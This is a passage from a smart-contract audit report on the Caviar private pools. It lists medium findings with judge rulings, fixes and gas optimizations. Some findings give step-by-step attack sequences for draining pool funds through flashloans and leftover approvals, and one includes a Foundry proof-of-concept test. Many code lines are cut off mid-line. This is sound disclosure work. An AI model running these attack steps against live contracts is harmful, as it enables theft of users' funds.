> This boils down to whether we think a front-run is possible / reasonable.
> And whether the griefing can be considered protracted in time.

> I have already judged similar issues, so I'll link those here and share my thoughts

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> Per my comments on a similar issue: #182

> I believe that the DOS is possible and fairly easy to achieve, however, there are ways to sidestep it

> By creating a new pool with new `salt` s it's possible to prevent the DOS, the NFT can then be transferred to the intended owner

> For this reason am downgrading to Medium Severity.

Alex the Entreprenerd (judge) commented:

> For context, if pool weren't transferable then the DOS would have been permanent and I would have raised severity.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

[M-12] Prohibition to create private pools with the factory NFT

Submitted by hihen*, also found by* tanh

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L157

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L623

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L514

Impact

Any Factory NFTs deposited into a Factory-PrivatePool can have all assets in the corresponding PrivatePools stolen by malicious users.

Proof of Concept

Suppose there are two PrivatePools p1 and p2, `p1.nft = address(Factory)`, and `uint256(p1)` and `uint256(p2)` are deposited into p1.
Malicious users can use flashloan() to steal all the base tokens in p1 and p2:

1. Call `p1.flashloan()` to borrow the Factory NFT - `uint256(p1)` from p1.
2. In the flashloan callback, call `p1.withdraw()` to withdraw all the base tokens and the factory NFT - `uint256(p2)` from p1.
3. Return `uint256(p1)` to p1.

Suppose there are two PrivatePools p1 and p2, `p1.nft = address(Factory)`, and `uint256(p2)` is deposited into p1.
Malicious users can use flashloan() to steal all the base tokens and NFTs in p2:

1. Call `p1.flashloan()` to borrow factory NFT - `uint256(p2)` from p1.
2. In the flashloan callback, call `p2.withdraw()` to steal all the base tokens and NFTs in p2.
3. Return `uint256(p2)` to p1.

In addition, malicious users can also steal assets in p2 by:

1. `p1.buy(uint256(p2))`
2. `p2.withdraw(...)`
3. `p1.sell(uint256(p2))`.

Tools Used

VS Code

Recommended Mitigation Steps

To prevent users from misusing the protocol and causing financial losses, we should prohibit the creation of PrivatePools with the Factory NFT:

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..14ec386 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -171,6 +171,8 @@ contract PrivatePool is ERC721TokenReceiver
         // check that the fee rate is less than 50%
         if (_feeRate > 5_000) revert FeeRateTooHigh();

+        require(_nft != factory, "Unsupported NFT");
+
         // set the state variables
         baseToken = _baseToken;
         nft = _nft;
```

outdoteth (Caviar) confirmed and mitigated:

> Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/14

> Proposed fix is to add a check that ensures that the nft which is used in the private pool is not a private pool NFT from the factory contract.

```
// check that the nft is not a private pool NFT
if (_nft == factory) revert PrivatePoolNftNotSupported();
```

Alex the Entreprenerd (judge) commented:

> Judging severity on this finding is contingent on determining if using the `factory` as NFT is an external requirement or not

> Will seek advice from another Judge, but saying "if they do it, they lose everything" doesn't sound like an external requirement

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> After further thinking, I believe the finding has shown a vulnerability in how the pool may be used for composability.

> I believe that similar "vault like" NFTs may be subject to the same risks, there's another audit happening at this time that may also be subject to the same risk.

> Those instances would mostly be categorized as Medium Severity, because the implementations are not known.

> After discussing with additional judges, given that there are a category of NFTs that should not be Flashloaned (e.g. UniV3, Factory, other factories, etc..) believe it is most appropriate to judge the finding as Medium Severity, with the additional warning that similar "vault like" NFTs should also be examined with care.

> The risk doesn't apply to ordinary collections.

Status: Mitigation confirmed with comments. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

[M-13] Transaction revert if the `baseToken` does not support 0 value transfer when charging `changeFee`

Submitted by ladboy233*, also found by* adriro, peanuts, jpserrat, 0xLanterns*, and* chaduke

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L423

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L651

When call change via the PrivatePool.sol, the caller needs to the pay the change fee,

```
        // calculate the fee amount
        (feeAmount, protocolFeeAmount) = changeFeeQuote(inputWei
    }

    // ~~~ Interactions ~~~ //

    if (baseToken != address(0)) {
        // transfer the fee amount of base tokens from the calle
        ERC20(baseToken).safeTransferFrom(
                msg.sender,
                address(this),
                feeAmount
        );
```

calling changeFeeQuote(inputWeightSum)

```
    function changeFeeQuote(
        uint256 inputAmount
    ) public view returns (uint256 feeAmount, uint256 protocolFeeAmo
        // multiply the changeFee to get the fee per NFT (4 deci
        uint256 exponent = baseToken == address(0)
                ? 18 - 4
                : ERC20(baseToken).decimals() - 4;
        uint256 feePerNft = changeFee * 10 ** exponent;

        feeAmount = (inputAmount * feePerNft) / 1e18;
        protocolFeeAmount =
                (feeAmount * Factory(factory).protocolFeeRate())
                10_000;
    }
```

if the feeAmount is 0,

the code below would revert if the ERC20 token does not support 0 value transfer

```
    ERC20(baseToken).safeTransferFrom(
        msg.sender,
        address(this),
        feeAmount
    );
```

According to https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers

> Some tokens (e.g. LEND) revert when transferring a zero value amount.

Same issue happens when charging the flashloan fee

```
function flashLoan(
    IERC3156FlashBorrower receiver,
    address token,
    uint256 tokenId,
    bytes calldata data
) external payable returns (bool) {
    // check that the NFT is available for a flash loan
    if (!availableForFlashLoan(token, tokenId))
        revert NotAvailableForFlashLoan();

    // calculate the fee
    uint256 fee = flashFee(token, tokenId);

    // if base token is ETH then check that caller sent enou
    if (baseToken == address(0) && msg.value < fee)
        revert InvalidEthAmount();

    // transfer the NFT to the borrower
    ERC721(token).safeTransferFrom(
        address(this),
        address(receiver),
        tokenId
    );

    // call the borrower
    bool success = receiver.onFlashLoan(
        msg.sender,
        token,
        tokenId,
        fee,
        data
    ) == keccak256("ERC3156FlashBorrower.onFlashLoan");

    // check that flashloan was successful
    if (!success) revert FlashLoanFailed();

    // transfer the NFT from the borrower
    ERC721(token).safeTransferFrom(
```

```
                address(receiver),
                address(this),
                tokenId
            );

            // transfer the fee from the borrower
            if (baseToken != address(0))
                ERC20(baseToken).transferFrom(msg.sender, address(th

            return success;
        }
```

Note the code:

```
    if (baseToken != address(0))
                ERC20(baseToken).transferFrom(msg.sender, address(th
```

If the fee is 0 and baseToken revert in 0 value transfer, the user cannot use flashloan.

Recommended Mitigation Steps

We recommend the protocol check if the feeAmount is 0 before performing transfer.

```
    if(feeAmount > 0) {
            ERC20(baseToken).safeTransferFrom(
                    msg.sender,
                    address(this),
                    feeAmount
            );
    }
```

outdoteth (Caviar) acknowledged

Alex the Entreprenerd (judge) commented:

> The Warden has shown an edge case, when fee are 0 the call to `safeTransfer` is still performed, this can cause certain ERC20s to revert.

> Because the PrivatePools are meant to work with ERC20s, and this revert is conditional on the specific token implementation, I agree with Medium Severity.

[M-14] The `royaltyRecipient` could not be prepare to receive ether, making the `sell` to fail

Submitted by Ox4non, *also found by* saian, Kenshin, Koolex, shaka, ladboy233, SovaSlava, *and* Bauer

The `royaltyRecipient` is an arbitrary address setup by the collection if the collection `royaltyRecipient` is a contract and this contract its not prepared to receive ether the ether transfer will always fail paying the royalties.

Proof of Concept

Here is a foundry POC, take note that I have to write a new Milady mock collection because in the original is hardcoded to `0xbeefbeef` so its impossible to change the `royaltyRecipient` ; Milady.sol#L31

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "test/Fixture.sol";

contract POCRejectTest is Fixture {
    PrivatePool public privatePool;
    uint256 public totalTokens = 0;
    uint256 public minOutputAmount = 0;

    uint256 royaltyFeeRate = 0.1e18; // 10%
    address royaltyRecipient = address(new EthRejecter());

    Milady2 milady2 = new Milady2();

    function setUp() public {
        milady2.setApprovalForAll(address(ethRouter), true);

        vm.mockCall(
            address(milady2),
            abi.encodeWithSelector(ERC721.ownerOf.selector, addr
            abi.encode(address(this))
```

```
        );

        // lets setup a trap for the royalty
        milady2.setRoyaltyInfo(royaltyFeeRate, royaltyRecipient)

    }

    function _addSell() internal returns (EthRouter.Sell memory,
        uint256[] memory empty = new uint256[](0);
        privatePool = factory.create{value: 100e18}(
            address(0),
            address(milady2),
            100e18,
            10e18,
            200,
            199,
            bytes32(0),
            true,
            false,
            bytes32(address(this).balance), // random between ea
            empty,
            100e18
        );

        uint256[] memory tokenIds = new uint256[](2);
        for (uint256 i = 0; i < 2; i++) {
            milady2.mint(address(this), i + totalTokens);
            tokenIds[i] = i + totalTokens;
        }

        totalTokens += 2;

        bytes32[][] memory publicPoolProofs = new bytes32[][](0)
        EthRouter.Sell memory sell = EthRouter.Sell({
            pool: payable(address(privatePool)),
            nft: address(milady2),
            tokenIds: tokenIds,
            tokenWeights: new uint256[](0),
            proof: PrivatePool.MerkleMultiProof(new bytes32[](0)
            stolenNftProofs: new IStolenNftOracle.Message[](0),
            isPublicPool: false,
            publicPoolProofs: publicPoolProofs
        });

        (uint256 baseTokenAmount,,) = privatePool.sellQuote(toke
        return (sell, baseTokenAmount);
```

```
    }

    function test_PaysRoyalties() public {
        // arrange
        EthRouter.Sell[] memory sells = new EthRouter.Sell[](3);
        (EthRouter.Sell memory sell1, uint256 outputAmount1) = _
        (EthRouter.Sell memory sell2, uint256 outputAmount2) = _
        minOutputAmount += outputAmount1 + outputAmount2;
        sells[0] = sell1;
        sells[1] = sell2;
        Pair pair = caviar.create(address(milady2), address(0),
        deal(address(pair), 1.123e18);
        deal(address(pair), address(pair), 10e18);

        uint256[] memory tokenIds = new uint256[](2);
        for (uint256 i = 0; i < tokenIds.length; i++) {
            tokenIds[i] = i + totalTokens;
            milady2.mint(address(this), i + totalTokens);
        }
        sells[2] = EthRouter.Sell({
            pool: payable(address(pair)),
            nft: address(milady2),
            tokenIds: tokenIds,
            tokenWeights: new uint256[](0),
            proof: PrivatePool.MerkleMultiProof(new bytes32[](0)
            stolenNftProofs: new IStolenNftOracle.Message[](0),
            isPublicPool: true,
            publicPoolProofs: new bytes32[][](0)
        });

        uint256 outputAmount = pair.sellQuote(tokenIds.length *

        uint256 royaltyFee = outputAmount / tokenIds.length * rc
        outputAmount -= royaltyFee;
        minOutputAmount += outputAmount;

        // act
        ethRouter.sell(sells, minOutputAmount, 0, true);

        // assert
        assertEq(address(royaltyRecipient).balance, royaltyFee,
        assertGt(address(royaltyRecipient).balance, 0, "Should h
    }
}

contract EthRejecter {
```

```
    // The contract could not have a method called "receive" or
    // to show the concept of a contract that rejects ETH
    receive() external payable {
        revert("ETH REJECTED EXAMPLE");
    }
}

contract Milady2 is ERC721, ERC2981 {
    uint256 public royaltyFeeRate = 0; // to 18 decimals
    address public royaltyRecipient = address(0);

    constructor() ERC721("Milady Maker", "MIL") {}

    function tokenURI(uint256) public view virtual override retu
        return "https://milady.io";
    }

    function mint(address to, uint256 id) public {
        _mint(to, id);
    }

    function setRoyaltyInfo(uint256 _royaltyFeeRate, address _rc
        royaltyFeeRate = _royaltyFeeRate;
        royaltyRecipient = _royaltyRecipient;
    }

    function supportsInterface(bytes4 interfaceId) public view o
        return super.supportsInterface(interfaceId);
    }

    function royaltyInfo(uint256, uint256 salePrice) public viev
        return (royaltyRecipient, salePrice * royaltyFeeRate / 1
    }
}
```

Recommended Mitigation Steps

There are two simple ways from my point of view to force ether send and solve this issue;

You could use a simple contract that selfdestrcut an firce ether, but selfdestruct is deprecated so it's not a good idea, please view [solady/SafeTransferLib.sol#L65]

The other thing you could do is if an address is rejecting ether, send WETH instead, this pattern is common and well known.

outdoteth (Caviar) acknowledged via duplicate issue #713

[M-15] Pool tokens can be stolen via `PrivatePool.flashLoan` function from previous owner

Submitted by Brenzee*, also found by* ulqiorra *and* ladboy233

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L461

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L623-L654

`PrivatePool.sol` ERC721 and ERC20 tokens can be stolen by the previous owner via `execute` and `flashLoan` functions (or by malicious approval by the current owner via `execute`)

Proof of Concept

Let's say that Bob is the attacker and Alice is a regular user.

1. Bob creates a `PrivatePool.sol` where he deposits 5 ERC721 tokens and 500 USDC.
2. Then Bob creates a malicious contract (let's call it `PrivatePoolExploit.sol`) and this contract contains `onFlashLoan` (IERC3156FlashBorrower), `transferFrom`, `ownerOf`, `onERC721Received` functions (like ERC721 does) and an additional `attack` function.
3. Via `PrivatePool.execute` function Bob approves USDC spending (`type(uint).max`) and `setApprovalForAll` for ERC721 tokens
4. Since the ownership of `PrivatePool` is stored in `Factory.sol` as an ERC721 token, ownership can be sold on any ERC721 marketplace. Alice decides to buy Bob's `PrivatePool` and ownership is transferred to Alice.

5. Right after the ownership is transferred, Bob runs `PrivatePoolExploit.attack` function, which calls `PrivatePool.flashLoan` where `PrivatePoolExploit.transferFrom` will be called since the flash loan can be called on any address.
6. All the funds are stolen by Bob and Alice's `PrivatePool` is left with nothing.

See warden's [original submission] for full POC.

Tools Used

Foundry/VSCode

Recommended Mitigation Steps

The contract caller should not be able to choose the token address in the `PrivatePool.flashLoan` function because there is no way to know if the token contract is actually an ERC721 contract.

Suggest removing `token` from function input parameters and using `nft` token everywhere, where `token` was used.

```
function flashLoan(IERC3156FlashBorrower receiver, uint256 t
    external
    payable
    returns (bool)
{
    address nftAddress = nft;
    // check that the NFT is available for a flash loan
    if (!availableForFlashLoan(nftAddress, tokenId)) revert

    // calculate the fee
    uint256 fee = flashFee(nftAddress, tokenId);

    // if base token is ETH then check that caller sent enou
    if (baseToken == address(0) && msg.value < fee) revert ]

    // transfer the NFT to the borrower
    ERC721(nftAddress).safeTransferFrom(address(this), addre

    // call the borrower
    bool success =
```

```
            receiver.onFlashLoan(msg.sender, nftAddress, tokenIc

            // check that flashloan was successful
            if (!success) revert FlashLoanFailed();

            // transfer the NFT from the borrower
            ERC721(nftAddress).safeTransferFrom(address(receiver), a

            // transfer the fee from the borrower
            if (baseToken != address(0)) ERC20(baseToken).transferFr

            return success;
        }
```

outdoteth (Caviar) confirmed, but disagreed with severity and commented:

> I think a potential fix is to prevent execute() from being able to call the baseToken the nft that is associated with the contract, which would stop the malicious approvals.

outdoteth (Caviar) mitigated:

> Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/2

> Proposed fix is to add a check in the execute() function that will revert if the target contract is the baseToken or nft.

```
    if (target == address(baseToken) || target == address(nft)) reve
```

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> The Warden has shown how, due to composability, it's possible for the previous owner to set the PrivatePool to grant approvals for all it's tokens, in a way that will allow the previous owner to steal them back.

> There are many considerations to this:

- Would a reasonable buyer check for previous approvals?

- Would a more reasonable approach be to buy the NFTs and create their own Pool?

> Nonetheless the Approval Farming can be performed and the attack can be done in that way, however the buyer would have to buy a Pool for which the approvals have been setup and they would have to do so without revoking them (they could buy and revoke in the same tx).

> Because of this, I belive that the finding is valid but of Medium Severity.

Status: Mitigation confirmed with comments. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

[M-16] `PrivatePool.flashLoan()` takes fee from the wrong address

Submitted by Ruhum

Instead of taking the fee from the receiver of the flashloan callback, it pulls it from `msg.sender`.

As specified in EIP-3156:

> "After the callback, the flashLoan function MUST take the amount + fee token from the receiver, or revert if this is not successful."

This will be an unexpected loss of funds for the caller if they have the pool pre-approved to spend funds (e.g. they previously bought NFTs) and are not the owner of the flashloan contract they use for the callback.

Additionally, for ETH pools, it expects the caller to pay the fee upfront. But, the fee is generally paid with the profits made using the flashloaned tokens.

Proof of Concept

If `baseToken` is ETH, it expects the fee to already be sent with the call to `flashLoan()`. If it's an ERC20 token, it will pull it from `msg.sender` instead of `receiver`:

```
function flashLoan(IERC3156FlashBorrower receiver, address t
    external
    payable
    returns (bool)
{
    // ...

    // calculate the fee
    uint256 fee = flashFee(token, tokenId);

    // if base token is ETH then check that caller sent enou
    if (baseToken == address(0) && msg.value < fee) revert I

    // ...

    // transfer the fee from the borrower
    if (baseToken != address(0)) ERC20(baseToken).transferFr

    return success;
}
```

Recommended Mitigation Steps

Change to:

```
    uint initialBalance = address(this).balance;
    // ...

    if (baseToken != address(0)) ERC20(baseToken).transferFr
    else require(address(this).balance - initialBalance == f
```

outdoteth (Caviar) acknowledged

Alex the Entreprenerd (judge) commented:

> I have considered downgrading to QA for the ETH aspect as technically there is no EIP for ETH flashloans (FL EIP is only for ERC20s).

> That said, the way payment is pulled in ERC20s is breaking the spec, and for this reason am awarding Medium Severity.

[M-17] The `tokenURI` method does not check if the NFT has been minted and returns data for the contract that may be a fake NFT

Submitted by Haipls, *also found by* Rolezn *and* 0xSmartContract

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/Factory.sol#L161

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePoolMetadata.sol#L17

Impact

- By invoking the Factory.tokenURI method for a maliciously provided NFT id, the returned data may deceive potential users, as the method will return data for a non-existent NFT id that appears to be a genuine PrivatePool. This can lead to a poor user experience or financial loss for users.
- Violation of the ERC721-Metadata part standard

Proof of Concept

- The Factory.tokenURI and PrivatePoolMetadata.tokenURI methods lack any requirements stating that the provided NFT id must be created. We can also see that in the standard implementation by OpenZeppelin, this check is present:
- Throws if `_tokenId` is not a valid NFT

Example

1. User creates a fake contract
   A simple example so that the `tokenURI` method does not revert:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract NFT {
```

```
        function balanceOf(address) external pure returns (uint256)
            1;
        }
    }

    contract NonNFT {
        address public immutable nft;

        address public constant baseToken = address(0);
        uint256 public constant virtualBaseTokenReserves = 1 ether;
        uint256 public constant virtualNftReserves = 1 ether;
        uint256 public constant feeRate = 500;

        constructor() {
            nft = address(new NFT());
        }
    }
```

2. User deploy the contract
3. Now, by using `tokenURI()` for the deployed user's address, one can fetch information about a non-existent NFT.

Tools Used

- Manual review
- Foundry

Recommended Mitigation Steps

- Throw an error if the NFT id is invalid.

outdoteth (Caviar) confirmed and commented:

> Not sure if this should be medium or not.

Alex the Entreprenerd (judge) commented:

> https://eips.ethereum.org/EIPS/eip-721#:~:text=function%20tokenURI(uint256%20_tokenId)%20external%20view%20returns%20(string)%3B

Alex the Entreprenerd (judge) commented:

> Because the functionality breaks the EIP721 spec, I agree with Medium Severity, no funds are at risk.

outdoteth (Caviar) mitigated:

> Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/19.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

Low Risk and Non-Critical Issues

For this audit, 20 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **AkshaySrivastav** received the top score from the judge.

The following wardens also submitted reports: ulqiorra, rbserver, adriro, minhtrng, nemveer, devscrooge, 0x5rings, 0xbepresent, ABA, Bauchibred, BenRai, btk, DadeKuma, ElKu, dingo2077, Rolezn, p0wd3r, chaduke, *and* RaymondFam.

[1] The `Factory.create` function is susceptible to re-entrancy as it performs a `_safeMint` before initializing the pool.

```solidity
function create(
    ...
) public payable returns (PrivatePool privatePool) {
    // ...
    privatePool = PrivatePool(payable(privatePoolImplementation.

    // mint the nft to the caller
    _safeMint(msg.sender, uint256(uint160(address(privatePool))))

    // initialize the pool
```

```
        privatePool.initialize(...);
        // ...
    }
```

[2] The `Factory.create` function performs plain transfer of funds instead of calling the `deposit` function. This way the `Deposit` event is not emitted.

```solidity
function create(
    ...
) public payable returns (PrivatePool privatePool) {
    // ...
    privatePool.initialize(...);

    if (_baseToken == address(0)) {
        // transfer eth into the pool if base token is ETH
        address(privatePool).safeTransferETH(baseTokenAmount);
    } else {
        // deposit the base tokens from the caller into the pool
        ERC20(_baseToken).transferFrom(msg.sender, address(priva
    }

    // deposit the nfts from the caller into the pool
    for (uint256 i = 0; i < tokenIds.length; i++) {
        ERC721(_nft).safeTransferFrom(msg.sender, address(privat
    }

    // emit create event
    emit Create(address(privatePool), tokenIds, baseTokenAmount)
}
```

[3] There is no fee cap on the `Factory.setProtocolFeeRate` function. A value greater then 10000 can break the fee calculations in private pool. Consider validating that the input is less than 10000.

```solidity
function setProtocolFeeRate(uint16 _protocolFeeRate) public only
    protocolFeeRate = _protocolFeeRate;
}
```

[4] `Factory.tokenId` does not validate the input `id` parameter. Consider validating that the `id` exist and the respective pool is created by the factory.

```solidity
function tokenURI(uint256 id) public view override returns (stri
    return PrivatePoolMetadata(privatePoolMetadata).tokenURI(id)
}
```

[5] Once initialization is done the `PrivatePool.feeRate` variable can never be changed. Consider adding an `owner` restricted function to update `feeRate`.

[6] In `buy` and `sell` functions consider validating that the `length` of all input arrays are equal (`tokenIds` & `tokenWeights`).

[7] Consider adding a check in `PrivatePool.sumWeightsAndValidateProof` function to validate that every element of `tokenWeights` array is greater than or equal to `1e18`.

```solidity
function sumWeightsAndValidateProof(
    uint256[] memory tokenIds,
```

```
        uint256[] memory tokenWeights,
        MerkleMultiProof memory proof
    ) public view returns (uint256) {
        // ...
        for (uint256 i = 0; i < tokenIds.length; i++) {
            require(tokenWeights[i] >= 1e18);       <------------
            // create the leaf for the merkle proof
            leafs[i] = keccak256(bytes.concat(keccak256(abi.encode(t

            // sum each token weight
            sum += tokenWeights[i];
        }
        // ...
    }
```

[8] In the `PrivatePoolMetadata.tokenURI` function consider using `Strings.toHexString(address(tokenId)))` for the `name` field.

```solidity
function tokenURI(uint256 tokenId) public view returns (string m
    // forgefmt: disable-next-item
    bytes memory metadata = abi.encodePacked(
        "{",
            '"name": "Private Pool ',Strings.toString(tokenId),'
            '"description": "Caviar private pool AMM position.",
            '"image": ','"', Base64.er
            '"attributes": [',
                attributes(tokenId),
            "]",
        "}"
    );

    return string(abi.encodePacked("data:application/json;base64
}
```

Alex the Entreprenerd (judge) commented:

> **1. The `Factory.create` function is susceptible to re-entrancy as it performs a `_safeMint` before initializing the pool.**
> Low

> **2. The `Factory.create` function performs plain transfer of funds instead of calling the `deposit` function. This way the `Deposit` event is not emitted.**
> Refactor

> **3. There is no fee cap on the `Factory.setProtocolFeeRate` function. A value greater then 10000 can break the fee calculations in private pool. Consider validating that the input is less than 10000.**
> Low

> **4. `Factory.tokenId` does not validate the input `id` parameter. Consider validating that the `id` exist and the respective pool is created by the factory.**
> Low

> **5. Once initialization is done the `PrivatePool.feeRate` variable can never be changed. Consider adding an `owner` restricted function to update `feeRate`.**
> Refactor

> **6. In `buy` and `sell` functions consider validating that the `length` of all input arrays are equal (`tokenIds` & `tokenWeights`).**
> Refactor

> **7. Consider adding a check in `PrivatePool.sumWeightsAndValidateProof` function to validate that every element of `tokenWeights` array is greater than or equal to `1e18`.**
> Low

> **8. In the `PrivatePoolMetadata.tokenURI` function consider using `Strings.toHexString(address(tokenId))` for the `name` field.**
> Non-Critical

Alex the Entreprenerd (judge) commented:

> 4 low, 3 refactor, and 1 non-critical.

> Also includes 6 lows from downgraded findings (issues 396, 392, 387, 382, 381, and 719).

Alex the Entreprenerd (judge) commented:

> Awarding best due to consistent high quality.

Gas Optimizations

For this audit, 6 reports were submitted by wardens detailing gas optimizations. The report highlighted below by **JCN** received the top score from the judge.

The following wardens also submitted reports: hunter_w3b, adriro, matrix_0wl, ReyAdmirado, *and* Sathish9098.

Summary

A majority of the optimizations were benchmarked via the protocol's tests, i.e. using the following config: `solc version 0.8.19`, `optimizer on`, and `200 runs`. Optimizations that were not benchmarked are explained via EVM gas costs and opcodes.

Below are the overall average gas savings for the following tested functions (with all the optimizations applied): | Function | Before | After | Avg Gas Savings | | ------ | ------ | ------- | ------- | | EthRouter.buy | 199750 | 190464 | 9286 | | EthRouter.change | 217295 | 202568 | 14727 |
| EthRouter.deposit | 29900 | 29393 | 507 | | EthRouter.sell | 232102 | 223981 | 8121 | | Factory.create | 148801 | 148672 | 129 | | PrivatePool.buy | 70884 | 69821 | 1063 | | PrivatePool.change | 82138 | 78083 | 4055 | | PrivatePool.execute | 18890 | 18550 | 340 | | PrivatePool.flashLoan | 83063 | 82915 | 148 | | PrivatePool.sell | 81969 | 81284 | 685 | | PrivatePool.withdraw | 62023 | 61038 | 985 |

Total gas saved across all listed functions: 40046

Notes:

- The Gas reportoutput, after all optimizations have been applied, can be found at the end of the report.

- The final diffs for each contract, with all the optimizations applied, can be found here.
- Some code snippets may be truncated to save space. Code snippets may also be accompanied by `@audit` tags in comments to aid in explaining the issue.

Gas Optimizations

Number	Issue	Instances
[G-01]	Cache calldata/memory pointers for complex types to avoid offset calculations	52
[G-02]	Use calldata instead of memory for function arguments that do not get mutated	4
[G-03]	State variables can be cached instead of re-reading them from storage	16
[G-04]	Cache state variables outside of loop to avoid reading storage on every iteration	6
[G-05]	Rearrange code to fail early	1
[G-06]	`x += y/x -= y` costs more gas than `x = x + y/x = x - y` for state variables	2
[G-07]	`If` statements that use `&&` can be refactored into nested `if` statements	9
[G-08]	Use assembly for loops	11

[G-01] Cache calldata/memory pointers for complex types to avoid offset calculations

The function parameters in the following instances are complex types (arrays of structs which contain arrays) and thus will result in more complex offset calculations to retrieve specific data from calldata/memory. We can avoid peforming some of these offset calculations by instantiating calldata/memory pointers.

Total Instances: `52`

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L106-L138

Cache calldata pointers for `buys[i]` and `buys[i].tokenIds`

Gas Savings for `EthRouter.buy` *, obtained via protocol's tests: Avg 5987 gas*

	Med	Max	Avg	# calls
Before	187054	397581	199750	7
After	182524	381578	193763	7

```
File: src/EthRouter.sol
106:         for (uint256 i = 0; i < buys.length; i++) {
107:             if (buys[i].isPublicPool) {
108:                 // execute the buy against a public pool
109:                 uint256 inputAmount = Pair(buys[i].pool).nft
110:                     buys[i].tokenIds, buys[i].baseTokenAmour
111:                 );
112:
113:                 // pay the royalties if buyer has opted-in
114:                 if (payRoyalties) {
115:                     uint256 salePrice = inputAmount / buys[i
116:                     for (uint256 j = 0; j < buys[i].tokenIds
117:                         // get the royalty fee and recipient
118:                         (uint256 royaltyFee, address royalty
119:                             getRoyalty(buys[i].nft, buys[i].
120:
121:                         if (royaltyFee > 0) {
122:                             // transfer the royalty fee to t
123:                             royaltyRecipient.safeTransferETH
124:                         }
125:                     }
126:                 }
127:             } else {
128:                 // execute the buy against a private pool
129:                 PrivatePool(buys[i].pool).buy{value: buys[i]
130:                     buys[i].tokenIds, buys[i].tokenWeights,
131:                 );
132:             }
133:
134:             for (uint256 j = 0; j < buys[i].tokenIds.length;
135:                 // transfer the NFT to the caller
136:                 ERC721(buys[i].nft).safeTransferFrom(address
137:             }
138:         }
```

```
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..1ed1c17 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -104,19 +104,21 @@ contract EthRouter is ERC721TokenReceiver

         // loop through and execute the the buys
         for (uint256 i = 0; i < buys.length; i++) {
-            if (buys[i].isPublicPool) {
+            Buy calldata _buy = buys[i];
+            uint256[] calldata _tokenIds = _buy.tokenIds;
+            if (_buy.isPublicPool) {
                 // execute the buy against a public pool
-                uint256 inputAmount = Pair(buys[i].pool).nftBuy
-                    buys[i].tokenIds, buys[i].baseTokenAmount,
+                uint256 inputAmount = Pair(_buy.pool).nftBuy{va
+                    _tokenIds, _buy.baseTokenAmount, 0
                 );

                 // pay the royalties if buyer has opted-in
                 if (payRoyalties) {
-                    uint256 salePrice = inputAmount / buys[i].t
-                    for (uint256 j = 0; j < buys[i].tokenIds.le
+                    uint256 salePrice = inputAmount / _tokenIds
+                    for (uint256 j = 0; j < _tokenIds.length; j
                         // get the royalty fee and recipient
                         (uint256 royaltyFee, address royaltyRec
-                            getRoyalty(buys[i].nft, buys[i].tok
+                            getRoyalty(_buy.nft, _tokenIds[j],

                         if (royaltyFee > 0) {
                             // transfer the royalty fee to the
@@ -126,14 +128,14 @@ contract EthRouter is ERC721TokenReceiver
                 }
             } else {
                 // execute the buy against a private pool
-                PrivatePool(buys[i].pool).buy{value: buys[i].ba
-                    buys[i].tokenIds, buys[i].tokenWeights, buy
+                PrivatePool(_buy.pool).buy{value: _buy.baseToke
+                    _tokenIds, _buy.tokenWeights, _buy.proof
                 );
             }

-            for (uint256 j = 0; j < buys[i].tokenIds.length; j+
+            for (uint256 j = 0; j < _tokenIds.length; j++) {
```

```
                    // transfer the NFT to the caller
-                   ERC721(buys[i].nft).safeTransferFrom(address(th
+                   ERC721(_buy.nft).safeTransferFrom(address(this)
                }
            }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L159-L200

Cache calldata pointers for `sells[i]` and `sells[i].tokenIds`

Gas Savings for `EthRouter.sell` *, obtained via protocol's tests: Avg 5422 gas*

	Med	Max	Avg	# calls
Before	217300	402940	232102	7
After	212264	392556	226680	7

```
File: src/EthRouter.sol
159:         for (uint256 i = 0; i < sells.length; i++) {
160:             // transfer the NFTs into the router from the ca
161:             for (uint256 j = 0; j < sells[i].tokenIds.length
162:                 ERC721(sells[i].nft).safeTransferFrom(msg.se
163:             }
164:
165:             // approve the pair to transfer NFTs from the ro
166:             ERC721(sells[i].nft).setApprovalForAll(sells[i].
167:
168:             if (sells[i].isPublicPool) {
169:                 // exceute the sell against a public pool
170:                 uint256 outputAmount = Pair(sells[i].pool).r
171:                     sells[i].tokenIds,
172:                     0,
173:                     0,
174:                     sells[i].publicPoolProofs,
175:                     // ReservoirOracle.Message[] is the exac
176:                     // decoded/encoded 1-to-1.
177:                     abi.decode(abi.encode(sells[i].stolenNft
178:                 );
179:
180:                 // pay the royalties if seller has opted-in
181:                 if (payRoyalties) {
```

```
